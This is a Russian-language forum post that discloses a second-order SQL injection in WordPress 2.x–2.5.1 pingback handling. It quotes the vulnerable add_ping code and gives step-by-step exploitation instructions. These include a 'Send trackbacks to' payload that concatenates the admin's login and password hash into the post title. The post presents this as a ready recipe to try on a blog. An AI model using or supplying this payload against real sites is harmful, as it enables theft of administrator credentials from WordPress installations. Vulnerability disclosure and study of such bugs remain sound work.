Показать сообщение отдельно

Pingback SQL injection
  #5  
Старый 27.05.2009, 20:10
M4g
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
Провел на форуме:
466673

Репутация: 784
Отправить сообщение для M4g с помощью ICQ
По умолчанию Pingback SQL injection

4. Pingback SQL Injection (2.x<=WordPress<=2.5.1)

Так уж сложилось, что наибольшее число уязвимостей WordPress пришлось как раз-таки не технологии Pingback и Trackback.
Вот и на этот раз, копаясь в функциях, отвечающих за пинги, я нашел сразу 2(!) фрагментированные sql-инъекции во всех версиях движка до 2.5.1 включительно и правами author/editor (WordPress MU also affected).
Итак, для наглядности возьмем подопытный движок за номером 2.3.3.
Открывай ./wp-includes/post.php и находи в нем такой код:
Код:
 function add_ping($post_id, $uri) { // Add a URL to those already pung 
    global $wpdb; 
    $pung = $wpdb->get_var("SELECT pinged FROM $wpdb->posts WHERE ID = $post_id"); 
    $pung = trim($pung); 
    $pung = preg_split('/\s/', $pung); 
    $pung[] = $uri; 
    $new = implode("\n", $pung); 
    $new = apply_filters('add_ping', $new); 
    return $wpdb->query("UPDATE $wpdb->posts SET pinged = '$new' WHERE ID = $post_id"); 
}
Небольшие раскопки дают понять, что фильтра "add_ping" не существует в коде движка.
Получается, что данные из первого запроса подставляются во второй запрос без какой-либо фильтрации!
А теперь о способе эксплуатации данной уязвимости. Запасись терпением
Чтобы использовать баг, тебе необходимо две инсталляции ВордПресса:
1. Все равно какой версии. Создай новый пост с любым тайтлом и с содержимым:
Код:
<a href="http://ВТОРОЙ_БЛОГ/?p=[НОМЕР_ПОСТА]">pingme</a>
Запомни адрес созданного поста (пусть, например, он будет http://lamer/wp1/?p=2)
2.Во втором блоге ветки 2.3.x-2.5.1 создай пост с любым содержанием и любым тайтлом, а в поле "Send trackbacks to:" пиши:
Код:
test',post_title=(select/**/concat(user_login,':',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered='blah
Теперь сохраняй пост.
Снова заходи в редактирование этого поста, но теперь редактируй само его содержимое и вставляй туда ссылку в html-формате на пост из первого блога
Код:
<a href="http://lamer/wp1/?p=2">pingme</a>
Готово! Сохраняйся, переходи на страницу нашего поста и наслаждайся результатами выполнения скули в виде хеша и пароля админа
 
Ответить с цитированием